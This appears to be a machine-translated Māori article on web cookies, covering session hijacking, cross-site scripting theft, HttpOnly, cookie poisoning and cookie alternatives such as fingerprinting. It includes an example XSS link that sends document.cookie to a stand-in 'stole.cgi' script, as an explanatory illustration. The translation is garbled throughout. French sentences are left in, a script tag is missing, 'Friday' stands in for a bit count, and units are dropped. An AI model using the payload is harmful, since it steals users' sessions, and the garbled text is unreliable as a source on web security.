Engari i roto i nga mahi ka puta he korero he i roto i te nuinga o nga keehi na te mea i enei ra he rorohiko "whaiaro" (he waea atamai, papa ranei, he mea kino ake) e whakamahia ana e te tangata kotahi. na roto i te nui o nga korero i kohia ka tae ki te whainga whaiaro ahakoa kaore te tangata "ara" i tautuhia.

Ka taea te tahae i tetahi pihikete e tetahi atu rorohiko i runga i te whatunga.

I te wa e mahi noa ana, ka whakahokia nga pihikete ki waenga i te tūmau (he roopu tūmau ranei i te rohe kotahi) me te tirotiro rorohiko a te kaiwhakamahi. I te mea kei roto nga pihikete i nga korero tairongo (ingoa kaiwhakamahi, he kupuhipa i whakamahia mo te motuhēhēnga, me etahi atu), me kore e uru atu o raatau uara ki etahi atu rorohiko. Ko te tahae pihikete he mahi haukoti i nga pihikete e tetahi tangata tuatoru kore mana.

Ka taea te tahaetia nga pihikete ma te hongi pakete i roto i te whakaekenga e kiia nei ko te kaipahua wātū. Ko nga waka i runga i te kupenga ka taea te haukoti me te panui e nga rorohiko i tua atu i era e tuku ana, e whiwhi ana (ina koa ki te waahi Wi-Fi whanui kaore i whakamunatia). Kei roto i tenei hokohoko nga pihikete ka tukuna i runga i nga huihuinga ma te whakamahi i te kawa HTTP maamaa. Ki te kore e whakamunatia nga hokohoko whatunga, ka taea e nga kaiwhakamahi kino te panui i nga korero a etahi atu kaiwhakamahi i runga i te whatunga ma te whakamahi i nga "packet sniffers".

Ka taea tenei raruraru ma te whakamuna i te hononga i waenga i te rorohiko o te kaiwhakamahi me te tūmau ma te whakamahi i te kawa HTTPS. Ka taea e te tūmau te tohu he haki haumaru i te whakatakoto pihikete; ka tukuna noa e te kaitirotiro ma runga i te raina haumaru, penei i te hononga SSL.

Heoi ano he maha nga waahi, ahakoa te whakamahi i nga korero whakamunatia HTTPS mo te whakamotuhēhēnga kaiwhakamahi (arā te whārangi takiuru), ka tukuna i muri mai nga pihikete wātū me etahi atu raraunga kia rite tonu, na roto i nga hononga HTTP kaore i whakamunatia mo nga take pai. Ka taea e te hunga whakaeke te haukoti i nga pihikete a etahi atu kaiwhakamahi me te peehi i a raatau i runga i nga waahi e tika ana, ka whakamahia ranei ki nga whakaeke pihikete.

Te tuhi i roto i te pae: ko te pihikete me whakawhiti noa i waenga i te tūmau me te kiritaki ka tukuna ki tetahi atu tuatoru.

Ko tetahi atu huarahi ki te tahae pihikete ko te tuhi i nga pae tuhi me te tuku i te kaitirotiro ake i nga pihikete ki nga kaitoro kino kaore e whiwhi. Ka taea e nga kaitirotiro hou te mahi i nga waahanga o te waehere mai i te tūmau. Mena ka uru atu nga pihikete i te wa omaoma, ka tukuna pea o raatau uara i etahi ahua ki nga kaitoro e kore e uru ki a raatau. Ko te whakamuna i nga pihikete i mua i te tuku i runga i te whatunga kaore e awhina i te aukati i te whakaeke.

Ko tenei momo tuhi i roto i te waahi ka whakamahia e nga kaiwhaiwhai i runga i nga waahi ka taea e nga kaiwhakamahi te tuku ihirangi HTML. Ma te whakauru i tetahi waahanga o te waehere hototahi ki te takoha HTML, ka taea e te kaitukino te whiwhi pihikete mai i etahi atu kaiwhakamahi. Ka taea te whakamahi i te mohiotanga ki enei pihikete ma te hono atu ki te waahi kotahi ma te whakamahi i nga pihikete i tahaetia, na reira ka mohiotia ko te kaiwhakamahi nana nga pihikete i tahaetia.

Ko tetahi huarahi ki te aukati i enei whakaeke ko te whakamahi i te haki HttpOnly; he kōwhiringa, i whakaurua mai i te putanga 6 o Internet Explorer i roto i te PHP mai i te putanga 5.2.0 kua whakamaheretia kia kore ai te pihikete e uru atu ki te kiritaki e tata ana ki te tuhinga. Heoi, me whai whakaaro nga kaiwhakawhanake paetukutuku i roto i ta raatau whanaketanga pae kia kore ai e pa ki te tuhi i roto i te pae.

Ko tetahi atu riri haumaru e whakamahia ana ko te hanga tono i roto i te waahi.

Ko te tohu hangarau whai mana ka taea te whakahoki mai i nga pihikete ki nga kaitoro i te rohe i ahu mai ai. Engari, ko te uara o nga pihikete ka taea te tuku ki etahi atu tūmau ma te whakamahi i nga tikanga ke atu i nga pane pihikete.

Ina koa, ko nga reo tuhi penei i te JavaScript ka whakaaetia ki te uru atu ki nga uara pihikete me te kaha ki te tuku i nga uara rereke ki tetahi tūmau i runga i te Ipurangi. Ka whakamahia tenei kaha tuhi mai i nga paetukutuku e tuku ana i nga kaiwhakamahi ki te tuku ihirangi HTML hei tirohanga ma etahi atu kaiwhakamahi.

Hei tauira, ka tukuna pea e te kaitukino e mahi ana i te rohe example.com he korero kei roto te hono e whai ake nei e tohu ana ki tetahi rangitaki rongonui karekau ratou e whakahaere:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Ina pao tetahi atu kaiwhakamahi ki tenei hononga, ka mahia e te kaitirotiro te waahanga huanga onclick o te waehere, na reira ka whakakapi i te aho document.cookie ki te rarangi o nga pihikete kaiwhakamahi e kaha ana mo tenei wharangi. Na reira, ka tukuna tenei rarangi pihikete ki te tauira.com server, na reira ka taea e te kaitukino te kohi pihikete o tenei kaiwhakamahi.

Ko tenei momo whakaeke he uaua ki te kite i te taha o te kaiwhakamahi na te mea i ahu mai te tuhinga i te rohe kotahi e whakatakoto ana i te pihikete, a ko te mahi ki te tuku i nga uara te ahua kua whakamanahia e tera rohe. E whakaarohia ana ko te kawenga a nga kaiwhakahaere e whakahaere ana i tenei momo pae ki te whakatakoto i nga here hei aukati i te whakaputanga o nga waehere kino.

Kaore e kitea tika nga pihikete ki nga kaupapa taha-kiritaki penei i te JavaScript mena ka tukuna mai me te haki HttpOnly. Mai i te tirohanga a te tūmau, ko te rerekētanga anake kei roto i te rarangi o te pane-Kuki-Tautuhi ka taapirihia he mara hou kei roto te aho HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Ina whiwhi te kaitirotiro i taua pihikete, me whakamahi noa i roto i nga whakawhitinga HTTP e whai ake nei, engari me te kore e kitea ki nga tuhinga kua mahia ki te taha o te kiritaki. Ko te haki HttpOnly ehara i te waahanga o tetahi tohu hangarau whai mana, a kaore i te whakatinanahia ki nga kaitirotiro katoa. Kia mahara karekau he huarahi hei aukati i te panui me te tuhi i nga pihikete waahi ma te tikanga XMLHTTPRequest.

Te whakarerekētanga o te ihirangi: ka tukuna e te kaitukino he pihikete muhu ki te tūmau, i mahia pea mai i te pihikete whaimana i tukuna e te tūmau.

I te wa e tika ana kia penapena nga pihikete me te whakahoki kaore i whakarereketia ki te tūmau, ka taea e te kaiwhaiwhai te whakarereke i te uara o nga pihikete i mua i te whakahokinga atu ki te tūmau. Hei tauira, ki te mea kei roto i te pihikete te tapeke o te uara hei utu ma te kaiwhakamahi mo nga taonga kua tuu ki roto i te kaata hokohoko o te toa, ko te whakarereke i tenei uara ka pa ki te tūmau ki te utu iti ake i te utu timata. Ko te tukanga o te whakarereke i te uara o nga pihikete ka kiia paihana pihikete ka taea te whakamahi i muri i te tahae pihikete kia mau tonu te whakaeke.

I roto i te tikanga whakakore pihikete, ka whakamahia e te kaitukino tetahi raru tirotiro ki te tuku pihikete muhu ki te tūmau.

Ko te nuinga o nga paetukutuku, heoi, ka penapenahia he ID hui anake — he tau ahurei hanga matapōkeretia hei tautuhi i te kaiwhakamahi wātū — i roto i te pihikete ake, i te wa e rongoa ana era atu korero katoa ki runga i te tūmau. I tenei take, ka whakatauhia tenei raruraru.

Ko te tikanga kia whai pihikete ia pae, no reira karekau e taea e tetahi pae te whakarereke, te hanga pihikete ranei e hono ana ki tetahi atu pae. Ka taea e te koha haumarutanga tirotiro tukutuku te tuku i nga waahi kino ki te takahi i tenei ture. Ko te whakamahinga o taua koha ka kiia ko tunu kai whakawhiti-pae. Ko te kaupapa o aua whakaeke he tahae ID waahi.

Me whakamahi nga kaiwhakamahi i nga putanga hou o nga kaitirotiro paetukutuku ka tata te whakakore i enei whakaraeraetanga.

He taupatupatu i waenga i te kiritaki me te tūmau

Ko te whakamahinga o nga pihikete ka puta pea he taupatupatu i waenga i te ahua o te kiritaki me te kawanatanga kei roto i te pihikete. Mena ka whiwhi te kaiwhakamahi i tetahi pihikete ka paato i te paatene "Hoki" o te kaitirotiro, ko te ahua o te kaitirotiro kaore i te rite ki mua i tenei hokonga. Hei tauira, ki te hangaia te kete o te toa ipurangi ma te whakamahi pihikete, kaore e taea te huri i nga ihirangi o te kete ka hoki mai te kaiwhakamahi ki te hitori tirotiro: ki te pehi te kaiwhakamahi i te paatene ki te taapiri i tetahi tuhinga ki tana kete ka paato i te "Whakahokia." " pātene, kei te noho tonu te tuhinga ki tenei. Kaore pea tenei i te hiahia o te kaiwhakamahi, e tino hiahia ana ki te whakakore i te taapiri o te tuhinga. Ka taea e tenei te arai i te kore pono, te rangirua, me nga ngarara. Na me mohio nga kaihanga paetukutuku ki tenei raru me te whakatinana i nga tikanga hei hapai i nga ahuatanga penei.

Ko nga pihikete mau tonu kua whakahengia e nga tohunga mo te haumarutanga tūmataiti mo te kore e whakatauhia kia pau wawe, na reira ka taea e nga paetukutuku te whai i nga kaiwhakamahi me te hanga i o raatau korero i roto i te waa. Ko tenei ahuatanga o nga pihikete he waahanga ano o te raru kaipahua mo te huihuinga, na te mea ka taea te whakamahi i tetahi pihikete tahae tonu ki te tarai i tetahi kaiwhakamahi mo te wa roa.

Pānuitia ano: GAFAM: ko wai ratou? He aha ratou (i etahi wa) tino mataku?

He rereke ki nga pihikete

Ko etahi mahi ka taea te mahi ma te whakamahi pihikete ka taea hoki te mahi ma te whakamahi i etahi atu tikanga ka hipa atu i nga pihikete, te hanga ano i nga pihikete kua mukua, ka puta nga take tūmataiti i te ara ano (he kino atu ranei i etahi wa na te mea kaore e kitea) i nga pihikete.

Wāhitau IP

Ka taea te whai i nga kaiwhakamahi me te wahitau IP o te rorohiko e karanga ana i te wharangi. Kua watea mai tenei tikanga mai i te whakaurunga o te Paetukutuku Ao Whānui, i te mea ka tangohia nga wharangi ka tono te tūmau i te wāhitau IP o te rorohiko e whakahaere ana i te kaitirotiro, takawaenga ranei, ki te kore e whakamahia. Ka taea e te tūmau te whai i enei korero ahakoa he pihikete kei te whakamahia. Heoi, he iti ake te pono o enei wahitau ki te tautuhi i tetahi kaiwhakamahi i nga pihikete na te mea ka tiritirihia e nga kaiwhakamahi maha nga rorohiko me nga takawaenga, a ka whiwhi pea te rorohiko kotahi i tetahi wahitau IP rereke i ia wahanga mahi (pēnei i te c maha mo nga hononga waea) .

Ko te whai i nga wahitau IP ka taea te pono i etahi ahuatanga, penei i nga hononga aunui e pupuri ana i te wahitau IP kotahi mo te wa roa, i te mea e ka ana te hiko.

Ko etahi o nga punaha penei i a Tor i hangaia hei pupuri i te ingoamuna o te Ipurangi me te kore e taea te whai i te wahitau IP kia kore e taea.

URL

Ko te tikanga tino tika kei runga i te whakauru korero ki nga URL. Ko te waahanga aho uira o te URL tetahi tikanga e whakamahia ana mo tenei kaupapa, engari ka taea ano te whakamahi etahi atu waahanga. Ka whakamahia tenei tikanga e te serverlet Java me nga tikanga wahanga PHP ki te kore nga pihikete e whakahohea.

Kei roto i tenei tikanga ko te tūmau tukutuku e apiti ana i nga tono aho ki nga hononga o te wharangi tukutuku e kawe ana ina tukuna ana ki te tirotiro. Ina whai te kaiwhakamahi i tetahi hono, ka whakahokia e te kaitirotiro te aho patai kua piri ki te tūmau.

He tino rite nga aho uira mo tenei kaupapa me nga pihikete, he korero e rua i kowhiria e te tūmau me te whakahoki mai e te kaitirotiro. Heoi ano, he rereke etahi: ina whakamahia ano he URL kei roto he aho uiui, ka tukuna ano nga korero ki te tūmau. Hei tauira, ki te whakawaeheretia nga manakohanga a te kaiwhakamahi ki te aho uiui o te URL ka tukuna e te kaiwhakamahi taua URL ki tetahi atu kaiwhakamahi ma te imeera, ka taea ano e taua kaiwhakamahi te whakamahi i aua manakohanga.

I tetahi atu taha, ka rua nga wa ka uru te kaiwhakamahi ki te wharangi kotahi, karekau he taurangi ka whakamahia taua aho uiui i nga wa e rua. Hei tauira, ki te tau te kaiwhakamahi ki runga i te wharangi mai i te wharangi pae o roto i te wa tuatahi ka tau ki te wharangi kotahi mai i te wharangi o waho i te wa tuarua, he rereke te aho uinga ki te wharangi pae, he rite tonu nga pihikete .

Ko etahi atu ngoikoretanga o nga aho uira e pa ana ki te haumarutanga: ko te pupuri i nga raraunga e tautuhi ana i tetahi waahi i roto i nga aho uira ka taea, ka whakangawari ranei i nga whakaeke whakatika o te waahi, nga whakaeke tohutoro tohu, me etahi atu mahi. Ko te tuku TT wātū hei pihikete HTTP he haumaru ake.

Āpure puka huna

Ko tetahi ahua o te whai waahi, e whakamahia ana e ASP.NET, ko te whakamahi i nga puka tukutuku me nga waahi huna. He tino rite tenei tikanga ki te whakamahi i nga aho uiui URL hei kawe korero, he rite tonu nga painga me nga ngoikoretanga; a, ki te tukatukahia te puka me te tikanga HTTP GET, ka noho nga mara hei waahanga o te URL o te kaitirotiro ka tukuna ina tuku te puka. Engari ko te nuinga o nga puka kei te tukatuka me te HTTP POST, na reira ka taapirihia nga korero puka, tae atu ki nga mara huna, hei whakaurunga taapiri ehara i te waahanga o te URL, i te pihikete ranei.

E rua nga painga o tenei huarahi mai i te tirohanga aroturuki: tuatahi, ko te whai i nga korero kua whakanohoia ki te waehere puna HTML me te whakauru POST kaua ki te URL ka taea e te kaiwhakamahi toharite te karo i tenei aroturuki; tuarua, kaore e kapehia nga korero o te waahi ka kape te kaiwhakamahi i te URL (hei tiaki i te whaarangi ki te kopae, ka tukuna atu ma te imeera, hei tauira).

matapihi.ingoa

Ka taea e nga kaitirotiro paetukutuku noa te penapena i te nui o nga raraunga (2MB ki te 32MB) ma te JavaScript ma te whakamahi i te taonga window.name o te DOM. Ka taea te whakamahi i enei raraunga hei utu mo nga pihikete waahi, ka whakamahia hoki puta noa i nga rohe. Ka taea te hono te tikanga ki nga taonga JSON ki te penapena i tetahi huinga uaua o nga taurangi huihuinga taha-kiritaki.

Ko te taha ki raro ko ia matapihi motuhake, ripa ranei ka whai waahi tuatahi he matapihi.ingoa; i te wa e tirotirohia ana e nga ripa (kua whakatuwherahia e te kaiwhakamahi) ko te tikanga ko nga ripa ka tuwhera takitahi kaore he ingoa matapihi. I tua atu, ka taea te whakamahi i te window.name ki te whai i nga manuhiri puta noa i nga waahi rereke ka puta he awangawanga tūmataiti.

I etahi wa ka kaha ake tenei ki te haumaru atu i nga pihikete, na te kore whakauru o te tūmau, na reira ka kore e pangia ki te whakaeke whatunga o nga pihikete hongi. Engari, ki te mahia nga tikanga motuhake hei tiaki i nga raraunga, he whakaraerae ki etahi atu whakaeke, na te mea kei te waatea nga raraunga ma etahi atu waahi ka tuwhera i te matapihi kotahi.

Motuhēhēnga HTTP

Kei roto i te kawa HTTP nga kawa motuhēhēnga urunga taketake me te keri motuhēhēnga uru, ka taea te uru ki te wharangi tukutuku ina hoatu e te kaiwhakamahi te ingoa kaiwhakamahi me te kupuhipa. Mena ka tono te kaitirotiro ki tetahi tiwhikete kia uru atu ki tetahi wharangi paetukutuku, ka tono te kaitirotiro mai i te kaiwhakamahi ka riro mai, ka penapenahia e te kaitirotiro ka tukuna ki nga tono HTTP katoa o muri mai. Ka taea te whakamahi i enei korero ki te whai i te kaiwhakamahi.

Ahanoa tiritahi paetata

Mena kei roto i tetahi kaitirotiro te mono Adobe Flash Player, ko te taonga tiritahi rohe ka taea te whakamahi mo te kaupapa ano he pihikete. Ka taea e ratou te whiriwhiri ataahua mo nga kaihanga paetukutuku na te mea:

  • ko te tepenga rahi taunoa mo te ahanoa tiritahi paetata he 100 KB;
  • He wehe nga arowhai haumarutanga mai i nga arowhai pihikete a nga kaiwhakamahi (no reira ka whakaaetia nga taonga tiritahi o te rohe ki te kore nga pihikete).

Ko tenei waahanga whakamutunga, e wehewehe ana i te kaupapa here whakahaere pihikete mai i nga taonga tiritahi a Adobe ka whakaara i nga patai e pa ana ki te whakahaere a te kaiwhakamahi o ana tautuhinga tūmataiti: me mohio ia kaore he paanga o tana whakahaere pihikete ki te whakahaeretanga o nga taonga tiritahi o te rohe, me te rereke.

Ko tetahi atu whakapae mo tenei punaha ko te mea ka taea anake te whakamahi ma te Adobe Flash Player mono he rangatira, ehara i te paerewa paetukutuku.

Te tohenga taha kiritaki

Ko etahi o nga kaitirotiro paetukutuku e tautoko ana i te tikanga mau tonu i runga i te tuhinga, e taea ai e te wharangi te penapena korero i te rohe mo te whakamahi a muri ake nei. Ko Internet Explorer, hei tauira, e tautoko ana i nga korero e mau tonu ana i roto i te hitori tirotiro, i nga tohuwāhi, i roto i te whakatakotoranga kua penapena ki te XML, i te tika ranei me te whaarangi paetukutuku kua tiakina ki te kōpae. Mo Microsoft Internet Explorer 5, he tikanga kaiwhakamahi-raraunga e waatea ana ma nga whanonga DHTML.

I whakauruhia e te W3C ki HTML 5 he API JavaScript hou mo te rokiroki raraunga taha-kiritaki e kiia nei ko te rokiroki Tukutuku me te whai ki te whakakapi i nga pihikete. He rite ki nga pihikete engari he pai ake te kaha me te kore e penapena korero ki te pane o nga tono HTTP. Ka whakaaetia e te API nga momo rokiroki tukutuku e rua: te rokiroki rohe me te rokiroki waahi, he rite ki nga pihikete tohe me nga pihikete waahi (haunga nga pihikete waahi ka mutu ka kati te tirotiro i te wa rokiroki wātū ka pau i te wa e kati ana te ripa). Kei te tautokohia te rokiroki Tukutuku e Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 me Opera 10.50.

Ko te tikanga rereke ka whakawhirinaki ki te keteroki tirotiro (i roto i te mahara, kaua ki te whakahou) ma te whakamahi i nga kaupapa JavaScript ki nga wharangi paetukutuku. 

Hei tauira, kei roto i tetahi whaarangi te tohu . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

I tenei wa, ka noho tonu te papatono ki roto i te mahara keteroki, karekau te wharangi kua torohia kia utaina tuaruatia. No reira, mena he taurangi ao kei roto i te papatono (hei tauira var id = 3243242;), ka whai mana tonu tenei kaitautuhi ka taea te whakamahi e etahi atu waehere JavaScript ina utaina ano te wharangi, ina utaina he wharangi hono i te papatono. 

Ko te tino kino o tenei tikanga ko te taurangi o te ao JavaScript me noho pateko, ko te tikanga kaore e taea te whakarereke, te whakakore ranei penei i te pihikete.

matimati pūtirotiro tukutuku

Ko te matimati kaitirotiro he korero kua kohia mo nga tautuhinga whirihoranga o te kaitirotiro mo nga kaupapa tautuhi. Ka taea te whakamahi i enei tapumati ki te tautuhi i tetahi kaiwhakamahi Ipurangi, i tetahi taputapu ahakoa ka monokia nga pihikete.

Kua roa nga korero whirihoranga kaitirotiro paetukutuku taketake e kohia ana e nga ratonga whakarongo ki te paetukutuku mo te ine tika i nga waka tukutuku tangata me te kite i nga momo momo tinihanga pawhiri. Ma te awhina o nga reo tuhi-taha-kiritaki, ka nui ake te tika o te kohikohi korero ka taea inaianei.

Ma te huri i enei korero ki te aho moka ka puta he tapumati taputapu. I te tau 2010, i ine e te Electronic Frontier Foundation (EFF) te entropy o te tapumati o te kaitirotiro kia iti rawa. paraire 18,1, a i mua i te ahu whakamua o te matimati canvas i tapirihia nga moka 5,7 ki taua entropy.

Pihikete i roto i te poto

Ko nga pihikete he konae tuhinga iti kua rongoatia e te kaitirotiro paetukutuku i runga i te puku pakeke o te manuhiri paetukutuku, ka whakamahia (me etahi atu mea) hei tuhi korero mo te manuhiri, mo tana haerenga ranei i te pae. Ka taea e te rangatira tukutuku te mohio ki nga tikanga a te manuhiri me te whakawhaiaro i te whakaaturanga o tana pae mo ia manuhiri; ka taea e nga pihikete te mahara ki te maha o nga tuhinga ka whakaatuhia ki te wharangi kaainga, ki te pupuri ranei i nga tohu whakaurunga mo tetahi roopu motuhake: ka hoki mai te manuhiri ki te waahi, kaore e tika kia tuhia e ia tona ingoa me tana kupuhipa ki kia mohiohia, na te mea ka panui aunoa i roto i te pihikete.

He iti noa te oranga o te pihikete, he mea whakarite na te kaihoahoa pae. Ka taea hoki te pau i te mutunga o te huihuinga i runga i te papanga, e rite ana ki te kati o te tirotiro. Ka whakamahia nuitia nga pihikete kia ngawari ake te noho mo nga manuhiri me te whakaatu atu i nga korero e tika ana. Engari ko nga tikanga motuhake ka taea te whai i tetahi manuhiri i runga i nga waahi maha, na reira ki te kohikohi me te tirotiro i nga korero tino whanui mo ana tikanga. Ko tenei tikanga kua whai ingoa ki te whakamahi i nga pihikete hei tikanga tirotiro e takahi ana i te noho muna o nga manuhiri, engari he rite tonu ki te pono i roto i te maha o nga keehi mo nga take kore-hangarau, kaore ranei i te whakaute i nga tumanako a nga kaiwhakamahi. .

Hei whakautu ki enei mataku tika, ka whakaurua e HTML 5 he API JavaScript hou mo te rokiroki raraunga taha-kiritaki e kiia nei ko te rokiroki Tukutuku, he tino haumaru ake, he kaha ake, e whai ana ki te whakakapi i nga pihikete.

Te rokiroki pihikete

Ki etahi kaitirotiro, he ngawari te whakatika i te pihikete, ko te ētita tuhinga ngawari penei i te Notepad he nui ki te whakarereke i ona uara.

He rereke te tiaki i nga pihikete i runga i te kaitirotiro:

  • Microsoft Internet Explorer ka tiakina ia pihikete ki tetahi konae rereke;
  • Mozilla Firefox tiakina ana pihikete katoa ki te konae kotahi;
  • Opera tiakina ana pihikete katoa ki roto i te konae kotahi ka whakamuna (kaore e taea te whakarereke engari ko nga whiringa rorohiko);
  • Apple Safari ka tiakina ana pihikete katoa ki te konae toronga .plist kotahi. Ka taea te whakarereke engari ehara i te mea ngawari, mena ka haere koe ki nga whiringa rorohiko.

Me tautoko nga kaitirotiro he iti :

  • 300 pihikete tukutahi;
  • 4 o ia pihikete;
  • 20 pihikete mo ia kaihautu, rohe ranei.
[Tapeke: 0 Tikanga: 0]

tuhituhia e Kaiwhakatika Arotake

Ko te roopu etita etita e whakapau ana i a ratau wa ki te rangahau i a raatau hua, ki te mahi whakamatautau i nga tikanga, ki te uiui i nga tohunga o te umanga, ki te arotake i nga arotake a nga kaihoko, me te tuhi i a maatau hua katoa hei whakarapopototanga marama me te whanui.

Waiho he tākupu

Kaore e tukuna to wahitau imeera. Kua tohua ngā āpure e hiahiatia ana *

He aha koutou whakaaro?

384 Piro
Upanga Tuhinga